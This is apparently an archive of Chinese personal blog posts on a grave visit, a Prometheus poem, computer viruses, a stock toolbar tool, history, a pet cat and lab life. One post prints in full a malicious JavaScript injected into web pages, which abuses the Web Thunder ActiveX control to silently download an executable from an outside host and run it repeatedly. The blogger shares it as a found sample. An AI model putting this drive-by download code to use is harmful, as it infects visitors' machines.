现在这里留个记录，争取早日去看看。
苏州火车站下，“游4”公交约1小时至终点站灵岩山景区,下车往西,沿途经灵巌山寺、苏州中澳武馆、韩蘄公？（黄色建筑）、右前几十米有小道至安息公墓（几个老妇人坐道口）、从公墓办事处边小道北上、路经一高约三米大墙碑，上刻“中兴佐命定国元勋”、前，一些黄土坟、再前，便是石头砌就的公墓群（从灵岩山到安息公墓约三四百米，注意，右手边可看到“王志喜 仇阿凤”夫妇墓，林昭墓与之并排，边上是林昭父母墓。
林昭原名彭令昭。
苏州火车站 --> “游4”公交车（2元）
灵岩山景区 --> 安息公墓（300~400米）建议乘小三轮机动车3~4元，最多不超过5元
公墓 --> 林昭墓地（100米不到）
（一）
阿波罗的金车渐渐驶近，
天边升起了嫣红的黎明，
高加索的峰岭迎着朝曦，
悬崖上，普洛米修士已经苏醒。
随着太阳的第一道光线，
地平线上疾射出两点流星：
——来了，那宙斯的惩罚使者，
她们哪天都不误时辰。
……娇丽的早晨，你几时才能
对我成为自由光明的象征……
钉住的镣链像冰冷的巨蛇，
捆得他浑身麻木而疼痛。
呼一声拍起翅膀，他身旁
落下了两团狰狞的乌云，
铜爪猛扎进他的肋骨，
他沉默着，把牙齿咬紧。
她们急一咀慢一咀啄着，
凝结的创口又鲜血淋淋，
胸膛上裂成了锯形的长孔
袒露出一颗焰腾腾的心。
兀鹰们停了停，像是在休息，
尽管这种虐杀并不很疲困，
——有的是时间，做什么着急
他没有任何抵抗的可能。
啊，这难忍的绝望的等待，
他真想喊：“快些，不要磨人”
但他终于只谋守着静默，
谁还能指望鹰犬有人性？
戏弄牺牲者对牺牲者是残酷，
对戏弄者却是游戏，刺激而高兴
一下，啄着了他活生生的心，
他痉挛起来，觉得胸膛里
敲进了一根烧红的长钉；
一下，一下，又一下，再一下，
兀鹰们贪婪地啄咬又吞吃，
新鲜的热血使它们酩酊。
赤血塗红了鹰隼的利喙，
它们争夺着，撕咬那颗心，
它已经成为一团变形的血肉，
只还微微跃动着，颤抖着生命。
痛楚灼烧着他每一根神经，
他喘息着，冷汗如水般漓淋，
那儿有空气啊，他吸入的每一口，
都只是千万只纤细的银针。
佝曲的鹰爪插透了手臂，
紧叩的牙齿咬穿了嘴唇，
但受难者像岩石般静默，
听不到一声叹息或呻吟。
镣铐的边缘割碎了皮肉，
岩石的锋棱磨烂了骨筋，
大地上形成了锈色的？底，
勾下了受难者巍然的身影。
对这苍穹他抬起双眼，
天，你要作这些暴行的见证，
可是他看到了什么，……在那里
云空中显现着宙斯的笑影。
让他笑吧，如果他再找不到
更好的办法来对我泄恨，
如果他除此以外就再不能够
表现他君临万方的赫赫威灵；
如果他必需以鹰隼的牙爪，
向囚徒证明胜利者的光荣；
那么笑吧，握着雷霆的大神，
宙斯，我对你有些怜悯；
啄吧，受命来惩治我的兀鹰，
任你们蹂躏这片洁白的心胸，
牺牲者的血肉每天都现成，
吃饱了，把毛羽滋养得更光润。
普洛米修士微微地一笑，
宙斯居然也显示了困窘。
“问话且慢说，普洛米修士，
接受不接受，你赶快决定。”
“我不能。”普洛米修士答道，
平静地直视宙斯的眼睛。
“火本来只应该属于人类，
怎能够把它永藏在天庭？
哪怕是没有我偷下火种，
人们自己也找得到光明。
“人有了屋子怎会再钻洞？
鸟进了森林怎会再投笼？
有了火就会有火种留下，
飓风刮不灭，洪水淹不尽。
“火将要把人类引向解放，
我劝你再不必白白劳神，
无论怎么样，无论那一个
想消灭人间的火已经不成。
“神族这样的统治那能持久，
你难道听不见这遍野怨声？
贱民的血泪会把众神淹死，
奥林匹斯宫殿将化作灰尘！
“何必问未来暴动谁是首领
要伸张正义的都是你敌人
你自己种瓜得瓜种豆得豆
说不定杀你的就是你至亲。”
“住口！停止你恶毒的诅咒，”
宙斯两眼冒火脸色变青，
他扬起雷电槌劈空一击，
平地上霹雳起山摇地震。
“警告你，我不会轻易饶恕，
切莫要太信任我的宽仁！”
“谁会把你和宽仁联到一起，
那简直辱没了宙斯的英名。”
“用不着再跟我说长道短，
一句话：你到底答不答应？”
“重要的并不是我的意愿，
我无法改变事情的进程。”
“你就这么肯定我们要失败，
哼，瞧着吧，神族将万世永存。”
“何必还重复陈旧的神话，
问问你自己可把它当真。”
“谁道我胜不过贱民叛徒？
谁敢造反我就把它荡平！”
“我知道在这方面你最英武，
但走多了夜路准碰上冤魂。”
“你只能用诅咒来安慰自己，”
“这不是诅咒，而是未来的显影。”
“未来怎样已经与你无涉，
你还是光想法救救自身。”
“你可以把我磨碎，只要你高兴，
但丝毫救不了你们的危运。”
“你的头脑是不是花岗岩石？”
“不，是真理保守了它的坚贞。”
“这么说你要与我为敌到底。”
“被你认作敌人我感到光荣。”
“我叫你到地狱里去见鬼！”
宙斯怒火万丈吼了一声，
雷电槌对准普洛米修士打击，
只听得轰隆隆像地裂天崩。
半边山峰向深谷里倒下，
满空中飞沙走石伴着雷鸣，
电光像妖蛇在黑云中乱闪，
真好比世界末日地狱现形。
宙斯挥动着手中的梭子，
狞笑着腾身飞上了层云，
“谁说我惩治不了你？等着！
不叫你死，剥皮抽你的筋！”
对于被锁链捆绑的勇士，
对于失去抵抗能力的囚人，
对于一切不幸被俘的仇敌，
你们的英武确实无可比伦。
是听清了受难者无言的心声，
还是辛辣的味觉使它们眩晕
它们激怒了，猛一下四爪齐伸，
那颗伤残的心便被扯作两份。
普洛米修士昏晕了，他好像
忽然向暗黑的深渊下沉，
胸膛里有一团地狱的烙铁，
烧烤着，使他的呼吸因而停顿。
（二）
高加索山岭清凉的微风，
亲吻着囚徒焦裂的嘴唇，
花岗岩也在颤动而叹息，
它想把普洛米修士摇醒。
山林女神们悄然地飞落，
像朵朵轻盈美丽的彩云，
用她们柔软湿润的长发，
揩拭受难者胸前的血腥。
她们的眼眶里满含泪水，
她们的声音像山泉低吟——
醒来，醒来啊，可敬的囚人，
生命在呼唤着，你要回应。
鹰隼啄食了你的心肺，
铁链捆束着你的肉身，
但你的灵魂比风更自由，
你的意志比岩石更坚韧。
忽然间正北方响起雷声，
太阳隐、乌云翻、惨雾雰雰，
女神们惊叫了一声“宙斯！”
仓惶地四散隐没了身形。
来了，轻车简从的宙斯，
两肩上栖息着那对兀鹰，
他在普洛米修士头边降落，
俯下身察看囚徒的创痕。
看着那纹丝无损的锁链，
看着那血锈班班的岩层，
唇边泛起一个满意的微笑，
他嘲弄地问道：“怎么样，嗯？”
……囚徒从容地看了他一眼
目光是那么锋利和坚定，
宙斯不由得后退了一步，
觉得在他面前无处存身。
尽管他全身被钉在岩上，
能动弹的只有嘴巴眼睛；
尽管他躺在这穷山僻野，
远离开人群，无助而孤零。
但这些都安慰不了宙斯，
对着他只觉得刺促不宁，
——他到底保有着什么力量，
竟足以威胁神族的生存！
“怎么样？”他又重复了一句，
口气已变得亲切而和温，
山顶上是不是嫌冷了一些？
不过这空气倒真叫清新。
“可恨是这两头？毛孽畜，
闻到点血就说啥都不听，
我早已叫它们适当照顾，
不知道它们有没有遵行。
“有什么要求你不妨提出，
能够办到的我总可答应……”
普洛米修士静静地回答：
“多谢你无微不至的关心。”
“有什么要求：囚犯——就是囚犯
锁链和兀鹰都无非本份。
只望你收起些伪善，行么？
那对我真胜似任何酷刑。”
宙斯装作像不曾听清，
“阿？——我看你有些情绪低沉，。
那又何必呢？回头处是岸，
不怕有多大罪悔过就成。
“你不想再回到奥林比斯，
在天上享受那安富尊荣？
你不想重新进入神族家，
和我们同优游欢乐升平？”
“可以答复你，宙斯，我不想，
我厌恶你们的歌舞升平，
今天我遭受着囚禁迫害，
但我不认为自己是罪人。”
“好吧。那你总还希望自由，
总也想解除惩罚和监禁，
难道你不响往像常时日，
随心意飞天过海追风驾云。
“长话短说罢，你到底要怎么？
是的！我酷爱自由胜似生命。
可假如它索取某种代价，
我宁肯接受永远的监禁。”
“不过是这样，普洛米修士，
我们不愿人间留半点火星，
火只该供天神焚香燔食，
那能够给贱民取暖照明！
“当初是你从天上偷下火种，
现在也由你去消灭干净，
为了奥林比斯神族的利益，
你应当负起这严重的责任。
“还有由于你那前知的能力，
（宙斯矜持地咳嗽了一声），
据说你预知神族的毁灭，
知道谁将是***的首领。“
“我们不相信会有这种事，
要推翻神族—— 梦也作不成，
我们将统治宇宙万年，
永保着至高无上的权能。
“但也许真有那样的狂徒，
竟想叫太阳从西边上升——
如果你确有所知就该实说，
让我们早下手惩治叛臣。
“普洛米修士，你怎不想想，
你属于神族，并不是凡人。
大河干池塘里也要见底，
树倒了枝和叶怎能生存！”
“那么你已经感到了不稳，
是吗？宙斯，这个真是新闻。”
然而他还总还是不大痛快，
甚至不感到复仇的欢欣——
……一种阴冷的绝望、恐惧，
深深地盘踞在他的心胸……
（三）
紫色的黄昏向山后沉落，
灰暗的暮霭一点点加深，
残损的山峰却依然屹立，
夜空衬出它深黑的剪影。
普洛米修士悠悠地醒转，
头颅里一阵阵嗡嗡乱鸣，
砂石埋没了他半个身子，
血污糊住了他一双眼睛。
头上有温热的液体流下，
鼻孔里扑入浓厚的血腥，
他伸出浮肿而木浊的舌头，
舔着自己的血来润湿嘴唇。
他用力撑开粘连的眼皮，
看见了几点稀少的？星，
下弦月淡淡地挂在天际，
夜风送来了果树的清芬。
啊，夜，你是多么宁静，
大地啊，你睡得多么深沉。
越过广袤的空间，我看见，
五谷的田野，繁花和森林，
江湖水滟滟似银，大地母亲，
你好像披着幅奇丽的绣锦。
从远古到如今，你每时每日
滋养哺育着亿万的生灵。
多少人辛勤地开阔与垦植，
大地，你一天天焕发着青春。
可是为什么，你年年血泪，
只是给众神贡献出祭品！
我喝过流在你身上的水，
清澈的水是那么苦涩而酸辛，
你胸中迸发出沉重的叹息，
你憔悴，还有你的子孙。
什么时候，大地，你才能新生，
能够理解被榨取的命运，
啊！万能的人类永恒的母亲
我胸中澎湃着？你的爱情，
我知道，一旦你开始觉醒和翻腾，
巍峨的奥林比斯将冰消雪崩——
远远地，在沉睡的大地上，
暗黑中出现了一线光明，
“火”，普洛米修士微笑地想着，
痛楚、饥渴霎时都忘个干净。
那一点化成三点、七点、无数，
像大群飞萤在原野上落定，
但它们是那么皎红而灼热，
使星月都黯然失去了晶莹。
这么多了……好快，连我都难相信，
它们就来自我那粒小小的火星，
半粒火点燃了千百万亿处，
光明，你的生命力有多么旺盛，
燃烧吧“火”，？在囚禁中。
我祝愿你——
燃烧在正直的出生的火温里，
让他们凭你诵读真理的教训，
把血写的诗篇一代代留下，
为历史悲剧作无情的见证。
燃烧在正义的战士的火炬上，
指引他们英勇地战斗行军，
把火种遍撒到万方万处，
直到最后一仗都凯旋得胜，
燃烧，火啊，燃烧在这
漫漫的长夜，
冲破这黑暗的如死的宁静，
向人们预告那灿烂的黎明，
而当真正的黎明终于来到，
人类在自由的晨光中欢腾，
火啊，你要燃烧在每一具
炉灶里，
叫寒冷、饥饿永离开人们，
让孩子拍起手在炉前跳舞，
老年人围着火笑语殷殷。
凝望那大野上满地灯火，
臆想着未来光辉的前景，
就像正遨游在浩渺的太空，
他觉得精神昂扬而振奋。
今晚有多少人在灯下奋笔，
记载人民的苦难和觉醒，
多少人正对灯拔剑起舞，
火光映红了多少颗急跳的心！
人啊！我喜欢呼唤你响亮的
高贵的名字，大地的子民，
作为一个弟兄，我深情地
呼唤：人啊，我多么爱你们！
你们是渺小的，但是又伟大；
你们是朴拙的，但是又聪明；
你们是善良的，但是当生活
已经不能忍受，你们将奋起
斗争！
起来啊！抛弃那些圣书神语，
砸烂所有的偶像和香灯，
把它们踩在脚下，向奥林比斯
索还作一个自由人的命运！
还能忍受吗？这些黑暗的
可耻的年代，结束它们，
不惧怕雅典娜的战甲
不迷信阿波罗的威灵，
更不听宙斯的教训或恫吓，
他们一个都不会留存。
人啊，众神将要毁灭而你们
大地的主人，却将骄傲地永生，
那一天，当奥林比斯在你们
的千丈怒火中崩倒，
我身上的锁链也将同时消失，像日光下的寒冰。
那时候，人啊，我将欢欣地起立，
我将以自己受难的创痕，
向你们证明我兄弟的感情：
我和你们一起，为着那，
奥林比斯的覆灭而凯歌欢庆……
在澎湃如潮的灼热的激情里，
普洛米修士翘望着黎明，
他彻夜在粗砺的岩石上辗转。
2004年6月6日 帼馨、雯锐录入，
小草校对，李蕴珠、蜀慧再校
2004年11月12日甘粹再校
从前的三寸盘、五寸盘都有写保护，这有效的阻止了很多病毒的传播，不知道为什么这个技术在U盘上却走了倒退的路。直到现在也没有在每个U盘上普及，甚至很多人都没有意识到这个功能有多么重要。念书的朋友们几乎每个月都要去打印资料，打印社成了病毒的集散地，大家带着U盘纷纷去中毒，痛却没有快乐。如果打印社都可以连入校内网络，然后通过某种可以保护隐私的机制在网络上传递文件，这个问题就解决了大部分。记得本科的时候我想改造开源的FTP Server，为每个登录的用户创建新的目录，目录的浏览权限仅用户自己所有。后来没有去和打印社谈合作，这个东西也就随便谈谈就过去了。
现在这个问题又回来了。我是太轻视这个病毒了，以为凭借自己的经验，可以把影响控制在最小。以前我都是先进入Ubuntu，把病毒删掉才连Windows。疏忽了一次，问题让我搞大了。前天系统无法启动，连个进入Secure Mode的机会都不给了。权衡了一下，不能不打印，就不能没有病毒，那就不用Windows了，改成单一Ubuntu。单一系统也有坏的时候，那时候就没有什么退路了。
其实单一Ubuntu基本可以满足使用需求，我最大的不满意就是输入法。简直就是十年前的准确度，相比Windows上各路英雄齐比武，Linux上就太冷清了。苏哲已经去了Google，我没有理由不相信Google会退出Linux般的输入法，可是这进度真是慢得够呛。
我过去提出过很多想法，部分也发表在这里，但最后基本都是没有下文的。以至于当我告诉丫头我有一个想法时，还没讲故事，她就笑的不行了。想法嘛，就是随时都要提，提出来才能进一步思考嘛。
“Baidu知道”我从来没有用过，但基本过程我还是了解的，有人提问，有人解答，这种问答的方式是社区的基本交互方式。因此我的出发点就是如何以更好的方式让提问者得到答案，这种更好应该是更快、更准确、用户付出代价更小。
Google通过人工智能的方式，以强大的计算能力为基础，为用户提供了一个统一的问答系统。比如我们可以搜索框中输入“华南虎灭绝了吗”。搜索引擎自身并不告诉我们结果，而是将我们转交给其他问答社区，比如“Baidu知道”，“Yahoo知识堂”，从而进一步获得结果。这里表面上看是没有人的参与，但其实最终解答问题还是需要人类的智慧贡献。
“Baidu知道”,采取另一条路，即自己建设知识社区，维护知识树和用户群。人们在社区内发布问题，志愿者去解答相关的问题。我之所以提出以推送的方式改进“baidu知道”，是觉得简单发布，等待解答的方式效率不够高，问题并不能第一时间被能够解答的人感知到，即使这个人是Baidu的用户，人们需要首先登录“Baidu知道”社区，找到自己熟悉的领域，然后在很庞大的问题池中选择问题来回答，针对性不强，时效性不高，造成的结果就是解答的质量参差不齐（结论很武断，只是推断出来，没有进行实证研究，在此提示读者请忽略此结论）。在提问时，提问者会为问题分类，这个分类体系是Baidu设计的，但层次大概有三四层。由于分类的粒度较大，因此问题池也较大，这不利于人们解答。
推送是一种大家很熟悉的方式，比如Email、RSS订阅、IM消息等。目前人们谈推送主要是指在用户提出显性请求之前，计算机系统将用户可能关心的信息主动发送给用户，使用户的体验更加的个性化，效率也提高了。将推送结合进“Baidu知道”的步骤如下：
股票（Stock）查询是一项非常基本，频率又非常高的操作，其API的设计也是非常简单的，输入往往就是股票代码，输出为当前股票价格。在Google Stock的Button库中最早就有Stock Button，可惜这是美国的Stock，非沪市深市。我就很奇怪这个基本的功能为什么中文版没有。后来查看了上海证交所的说明才知道，他们不提供Free的API，需要付费使用。
国内其实有很多看盘的软件，但每个人都有自己特殊的需求，专业操盘手当然使用信息丰富的客户端，比如“Wind金融资讯”。对于平日需要上班工作的人士，安全，谨慎，不被老板发现则是另一个重要需求，此类软件有“股票偷偷看”，容易隐藏。对于有多个操作系统，多个机器的用户，基于Web的方式就很方便，比如Sina的“我的股票2.0”。这些我都用过，但总有些需求是无法满足我的，sina的方式需要我总打开他们的网页，这很容易被老板发现，还是不够安全。因此我的需求总结为“跨平台，低干扰，快捷，安全”。所以采用为Google Toolbar加Button的方式我觉得最符合我的要求（对于不使用Google Toolbar的用户来说当然就很不方便了）。因此有了上面这幅截图中的Stock Button。
开发其实很简单，从熟悉接口到beta使用只用了2个小时，后来仅就参数设置和日志功能做了大概2个小时的维护，代码加起来应该不到100行吧，够用就行，想实现复杂的也不会了。
目前的功能上图基本都呈现了：
早上在读“功成身退：光复会群像”时有一段文字很让我感动，这段文字描述了秋瑾的事迹，但我这里的主角不是这位女侠，而是一位几乎没有人听说过的人，“秋风秋雨愁煞人”正是他的所为才让此句流传下来。现摘录给大家：
1907年7月15日，她在故乡绍兴被残忍地杀害，年仅32岁。值得一提的是，绍兴的地方官山阴知县李宗岳不肯对秋瑾用刑逼供，他同情秋瑾，又无能为力，在秋瑾殉难后竟然上吊自尽了，显示出难得可贵的人的良知。这是人性的震撼，是秋瑾给他的力量，使他毅然放弃生命。那个年代里，有可耻的告密者，蘸人血馒头的人，但有了李宗岳的死，我们还是看见了人性的一点亮色，那不是为了什么理想、革命，仅仅是人的良心的发现，是人性的力量战胜了求生的欲望。秋瑾被杀并无确凿证据，下令杀她的浙江巡抚对此也感到不安，自请调往江苏、山西，先后被当地人所拒，只好称病。绍兴知府自请调往安徽也被拒，不知所钟。可见人心不服。
此段文字再对比当今某国官员的嘴脸，何为先进性（性倒是先进），何为大国，何为历史的选择，何为中流砥柱，真是TMD的无语呀。
其实也不算什么病毒，这段代码的作用就是下载一个可执行文件，并且执行它。那个下载的文件也不是病毒，还是一个下载文件（分析过程这里没有写），估计最后是下载各种其他木马吧。
最近实验室中了ARP病毒，把实验室的网页劫持后加入了下面这段代码。
尽管我已经给病毒服务器的注册者发信了（北京一家公司，服务器在东莞），估计没人理我。
安装有Web迅雷并且使用IE浏览的用户有可能感染，看作者的一些注释挺有趣的。
var thunder_server=null; var id_file=0;//记录下载任务id
//初始化控件，返回1表示安装了web讯雷，0为出现错误
function init(){
try {
thunder_server = new ActiveXObject("ThunderServer.webThunder.1");
} catch(e) {
//alert("init activex failed");
return 0; }
return 1;}
////////////////////////////////////注意，核心函数//////////////////////////////////////////////////成功执行后函数返回添加的下载任务的id,否则，返回1////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function downfile(){ thunder_server.SetConfig（"MessagePanel","DownloadComplete","0");//下载完毕后无显示面版
thunder_server.SetConfig("Sound","DownloadComplete","0");//下载完毕无声音 thunder_server.ShowBrowserWindow();
//thunder_server.SetBrowserWindowSize(0, 0, 0, 0);
//不添加的话thunder_server.AddTask()就不会成功被执行，郁闷.........
var szURL="http://mmy.mmy88.cn/down/wm.exe"; //需要下载的程序的URL
var szFileName="test.exe"; //另存为的文件名
var szSavePath="d:\\";
// szSavePath=thunder_server.GetServerPath(); //另存为的路径
var szComments="";
//注释
var szRefURL="";
//引用URL
var nStartMode=1; //0为手动开始，1为自动开始
var nOnlyFromOrigin=0; //只从原始地址下载,0为否
var nOriginThreadNum=5; //下载程序的线程数
var nIsNeedAccount=0; //是否需要登陆，0为无需登陆
var szUserName=""; //登陆用户名
var szPassword=""; //登陆密码
var szTaskClass=""; //下载任务的类别,如“其他”，“软件”，“游戏”，“影视”等等
var szCID=""; //下载讯雷资源时才用到
var nIsAddUncompletedTask=0; //看名字就知道
var szStatURL="";
//thunder_server.SetVariable("DoIntelligentName", "");
//调用AddTask()方法开始下载目标程序
var retStr = thunder_server.AddTask(szURL, szFileName, szSavePath,szComments, szRefURL, nStartMode, nOnlyFromOrigin,nOriginThreadNum, nIsNeedAccount, szUserName,szPassword, szTaskClass, szCID, nIsAddUncompletedTask, szStatURL); thunder_server.HideBrowserWindow(1);
//调用AddTask()方法后立即关掉打开的下载窗口
var ret_code = new Number();
var ret_msg = new String();
var aryStr = new String();
if (retStr.length > 0) {
aryStr = retStr.split("{\r*\r}");
ret_code = parseInt(aryStr[0]);//记录添加任务结果,0为添加成功,1为出现错误,100为重复URL ret_msg = aryStr[1];//正确执行后为添加的下载任务的id值
} else //失败
{ return 1; } if(ret_code==1)return 1; return ret_msg;}
//运行下载后的文件
function open() { thunder_server.OpenFile(id_file); }
function exec(){
var ret=init();
if(ret==0)return;
id_file=downfile();
if(id_file==1)
return; //若出现错误则一直调用downfile()函数直到成功为止！！
setInterval("open()",5000);
//搞了半天没有搞出下载完毕的回调函数，
//只能5秒为间隔的运行下载的程序。
//若文件没有下载完毕，调用open()函数时文件并未运行
各地外宣办、中央和地方重点新闻网站：
关于山西"黑砖窑"事件，各网站要加大正面宣传力度，多报道中央和地方有关部门采取的有力措施，相关报道要关闭新闻跟贴，并加大对论坛、博客、即时通讯等互动工具的管理，尽快删除所有借此攻击党和政府的有害信息。各地外宣办要加强指导和督促检查，切实落实相关管理措施。
中央外宣办网络局 2007年6月15日
傅国涌先生的文章我推荐的是很多的,但这篇写的太好了,不得不在正文中来推荐.
文章好是好,也为傅国涌先生担心,先生的言论已经触动了ZG敏感的神经,不晓得这篇文章还能访问多久.文章提出"衰世",后来一查,原来朱学勤先生前年就曾说过类似的话.
没有更新Blog20天了，我在想这20天我在做什么，还是很悲观，忙忙碌碌，却没有满足与收获。
我想实验室工作最忙的一段应该算是过去了吧，但最有难度的一段也已经开始了。
这期间我把小屋收拾了一下，铺了一些地砖，还有廉价的地毯。也曾经试图抛弃“牛牛”，但那是一时的冲动，她给我的快乐是我坚持下去的理由。给她洗了澡，毛茸茸的她真是可爱，让我怎能不多亲几下。可烦起人来也很难受的。
夏天到了，天天被文字叮，由于“牛牛”，蚊帐还没法挂。
要读书，多读书，读好书，唯此才能让我的生活更加惬意与自如。
最近看张鸣的《历史的底稿》《历史的坏脾气》，嬉笑怒骂与八卦历史，中国人种种乎，辫子犹在矣。
下一阶段得看些严肃的读物了，准备从哈耶克入手。怎么还这么不务正业呢？哈哈，白天黑夜各有所属。
最近应该是入学以来最忙，压力最大的一段时间。不需要去解释，丫头说的对，我要Be Profession。什么是Profession呢？我希望是这样：
官名：Raymond
昵称：牛牛 还有人叫她“奶牛”、“美女”、“MingMing”，只可惜她一个名字也没有记住。
性别：女
年龄：2个月
出身：不明，有小资产阶级情调。
政治面貌：只要给食便是娘。
婚否：否
社会成员关系：
187 她哥 和她住在一起，吃在一起。但只有她打我，没有我打她。
丫头 她姐 经常来看她，曾以后妈自居，会为了争宠而彼此嫉妒。
Cat A 亲爸 她出生前就不知道去哪里了，哎。
Cat B 亲妈 已经被楼管阿姨带走，大约在流浪。
Cat C 兄弟C 同上
Cat D 兄弟D 同上
玉照欣赏
又是一个病毒式发展的小游戏，很高兴被小崔点名了。
游戏规则部分
一、被点到名字的要在自己的博客上写下答案，并且将这些题目传到其他人，还要到这些人的博客上留言通知对方“你被点名了”。
二、这些人要在博客上注明是在哪接到的题目，并且再将题目传给其他人，让游戏继续下去，不得回传，被点名的人将得到大家的祝福，并且所有美丽的愿望都会在不久以后得以实现。
###################
1.2006你最开心的事是什么？
06年似乎是很久以前的事了，毕业时大家几次聚会都很开心，来复旦后发现很多便宜书那也是相当开心。
2.2006年最难过的事是什么？
似乎已经被遗忘了。
3.2007最大的心愿是什么？
实现大部分短期心愿吧。
4.最大的愿望？
健康快乐的过每一天，同小崔。
5.如果现在可以让你随心所欲去旅行，你想去哪？
就是说有人给我掏钱了？那我去的地方多了，先去西欧，然后是美国，再之后考察非洲。
6.你最满意自己身体哪个部位？与别人初次见面你会先注意他（她）哪个部位？
男生就不回答这个问题了，不好意思。
7.失眠过吗？你用什么办法对抗失眠？
来上海第一天就失眠了，太热了。疲劳自己，通宵上网，不信睡不着。
8.会不会做饭？你希望你的伴侣（OR未来的伴侣）会做饭吗？
我会刷锅呀。
9.你最想做哪个动画片角色？为什么？
都忘记了，从没想过我和动画片的角色有什么关系。
10.在你心中我是怎么样一个人？
不拘小节，但心思细腻；活泼开朗，且为人热情。
11.如果可以重来，你最想改变的是什么？
早点锻炼身体，从小学习打架。
12.觉得自己是个自恋的人么?
没人的时候自我Google一下。
13.爱人爱到怎样的程度才算是超过爱自己呢？
嘴上说的和做的一样好的时候。
14. 你理想的伴侣应该具备什么样的品质？
能和我一直说话、一直玩就行。
15.谈谈你最近在听的音乐吧。
都是老歌，比如Alizee、GiGi，Secret Garden, 班得瑞等。
16.你会出于什么样的理由结婚? 或者出于什么样的理由单身?
本能。
17. 你是一个比较平稳的人还是可能作出一些出乎寻常举动的人？
行为平稳，思路出格。
18. 你计划什么时候结婚？（可以给个时间段^_^)
事业小成吧。
19. 想象一下，十年以后你最珍惜的事物可能会是什么，工作，家庭，朋友，闲暇，学习的机会？
爱情、事业、家庭、朋友、理想、抱负、原则、尊严，每一样都重要，不可能独立的存在。
ps：20哪里去了？
21. 你相信自己可以改变一切吗？
这怎么可能，改变自己都那么的难。
22. 你还生活在过去吗？
很少。
23. 爱情中最重要的是什么?
信任，交流。
24. 道是何物？德又是何物？
好诡异的问题，和主题无关。
25. 你对于永远的定义是什么？
对个人来说就是“永远”受众的有生之年，其他就没有永远的事。
26. 大四毕业之后你想干什么？最留念的人是谁？如果有同学会，你来吗？
不是我想干什么，而是我必须去干什么。除了我不想留念的人，都是我最留念的人。同学会我还得组织呢。
27. 你最欣赏我的哪点特质？最讨厌我的哪个方面？
参见问题10.
28. 06年度你心中最欣赏的人是谁?
欣赏是一种怎样的感情呢？敬佩？敬畏？喜爱？怀念？好复杂，我似乎很多时候关注的都是一些学者。那就写“朱学勤”吧。
29. 你最想定居的地方？
这个还得再找找，国内的环境似乎都不能用“最想”来形容。
31. 你觉得自己是偏理智还是偏感性？
属于傻傻的理智。
32. 2007年有什么打算？
“正经的学点东西，尽快找到方向。”同小崔。
33. 你觉得自己最大的缺点是什么？
“没有毅力。”再同小崔。
五一假期早就结束了，可是心还在外面。即使坐在实验室里也是一样，等待着Deadline的靠近，然后再让自己急躁些。
不知什么时候病毒开始光顾我的本本，其实也许是“误炸”，没有Phenotype，但是Kaparsky不放过，我平时都不开病毒扫描程序，节省机器资源，昨天开开玩玩，竟把自己玩进去了，绝大部分的Exe都感染了Dzan.C病毒，没法子，删掉了病毒机器也就瘫痪了。连夜跑到实验室，借了Vista（^_^，总算有机会尝尝鲜，并继续盗版的行为）。我的硬盘空间太少了，大把大把删除了几G资料，算是能拼出个最低要求，然后重新分区，中间还给我来插曲，删掉的分区不能重建了，没法子只好求助Ubuntu，前前后后耽搁了大个半天，总算能用了。
晚上本想找几个纪录片看看，实验室代理还坏了，eMule也不能用，忍了。
牛牛（暂且叫她这个名字吧），长大了，每天总是吃不饱，吃不饱就来咬我，咬我我就打她，可她为什么就是不记打呢？
今天想起一个创业的主意，丫头说没市场。我们知道写程序是分不同层次的，有人的程序一个小时写完，而同时有人需要写一周；有人的程序需要跑好久才有结果，有人的程序快的不需要等待；有人的程序在几个人用的时候都正常，但实际场景的数百人使用就会崩溃；有人的程序越改Bug越多，有人的程序越改结构越清晰。其实我想谈的就是程序的质量问题。目前的解决办法是QA部分进行黑盒式的模块测试，由程序员进行白盒的自我审查，好的公司可能还有同行间的复审，但我觉得他们的关注点主要是Bug，对于QoS的关注就不够。我希望可以有一个公司，他可以参与到其他公司的开发过程中，或者开发结束之后（此时参与成本要高很多），他们只关注程序质量、性能、结构等非逻辑业务部分。优秀的程序员都有一种直觉来发现程序中的坏味道，但是优秀的程序员太少，初级的程序员太多，因此这种高质量程序设计其实是一种专业性非常强的工作。
初步的设想中，此工作应该可以完成以下几件事：
187注：没办法，我知道大家不喜欢看长文，我也是，但我整天就是看这个的，对这些东西最敏感，这篇访谈确实不错，不希望对此感兴趣的朋友错过。
吴思，自从他提炼出"潜规则"这个概念后，声望便如日中天，"潜规则"也一跃成为汉语里的常用词。仅仅凭借一个"潜规则"，吴思便能把同时代的诸多历史学者远远地抛在身后。然而，发现"潜规则"后的吴思并没有停止对历史的追问，他接着提出了"血酬定律"；现在，吴思又在力推一个叫"官家主义"的新概念。凭借着这些概念，吴思可以说"我说透了历史"。
从"潜规则"到"血酬定律"再到"官家主义"，这些概念虽然名称各异，实际上却是一脉相承。但提出了"潜规则"的吴思，为什么以前不曾公开提出遏制"潜规则"的办法？4月19日下午，博客中国独家专访了吴思，在"官家主义"这个更为宏大的视角下，吴思分析了中国社会将来可能的三种走向，并"承认"潜规则这个词的流行有一定的负面作用。
博客中国吴思访谈核心提示：
最近觉得写预告要比发帖子容易，就先从预告开始吧。
五一期间这里会发表几篇帖子，围绕《武安地区农村婚礼纪实》展开。我和丫头主笔，目前还在收集资料部分，准备形成“战略部署”“短期预报”“战术装备”“战斗进行中”“评功论赏”等几篇。这是我个人的计划，不知道丫头是否支持，还得继续努力。
真希望这一天早点过去，可我还有很多工作没有做完，没办法，零点之后是必然了。
程序的Bug困扰我几个月了，我有些无能为力了，忍耐的极限快到了，我深深陷入泥潭无法自拔。我没有太多时间了，压力与日俱增，我必须抗住。
下午还去染了头发，丫头说我像老头，必须要染发才行。没办法，应酬了，谁让明天就要出门了呢。
对了，明天就要去晓兰家了，参加晓兰弟弟的婚礼。我没什么心情，只好尽一份责任了。我走了，猫咪就孤独了，最担心的就是她了。怎么办，别人能照顾好她吗？千万别把屋子弄乱呀。
我想读书，可总离不开屏幕。走在这样一条路上，还能回头吗？
来复旦这么久，其实参加的讲座并不是很多，大多数时候都在实验室漫漫无边的度过。今天尽管事情依旧很多，但还是坚持参加了一次讲座，题目是《经济分权、政治治理与历史演进》，由四位教授主讲，两位点评。从题目上看应该是个很有可读性的报告会，经济学院主办，必然会有很多关注现实的部分，而且主讲人里还有大名的樊树志，书卖的很多，也正好趁这个机会见见，亲耳听听。前几天错过朱学勤先生的签名，至今遗憾，这是题外话了。
